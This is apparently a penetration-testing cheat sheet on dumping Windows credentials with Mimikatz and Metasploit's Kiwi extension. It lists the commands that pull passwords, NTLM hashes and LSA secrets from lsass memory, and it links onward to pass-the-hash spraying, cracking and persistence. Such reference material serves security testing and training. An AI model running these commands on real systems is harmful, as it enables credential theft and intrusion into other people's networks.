Mimikatz & Kiwi: dumping Windows credentials from memory

Mimikatz pulls cleartext passwords, NTLM hashes, and Kerberos tickets straight out of the lsass.exe process’s memory, the same process Windows itself uses to hold credentials for active logon sessions. Metasploit bundles the same functionality as a meterpreter extension called Kiwi, which is usually the more convenient way to run it if you’re already in a session.

Standalone mimikatz.exe

mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords

Kiwi (meterpreter extension, same capability)

load kiwi
creds_all           # everything it can find
lsa_dump_sam        # local SAM credentials
lsa_dump_secrets    # LSA secrets

Dumped hashes come back in the format Username:RID:LM:NTLM:::, like Administrator:500:aad3b435b51404eeaad3b435b51404ee:0d757ad173d2fc249ce19364fd64c8ec:::.

Related

• Windows hash dumping and pass-the-hash — the full workflow this tool feeds into
• CrackMapExec — spray the dumped hashes across the network via pass-the-hash
• Hashcat and John the Ripper — crack the dumped hashes instead of passing them
• Windows persistence — keep access once these credentials are captured
• Meterpreter essentials — where the load kiwi command is run from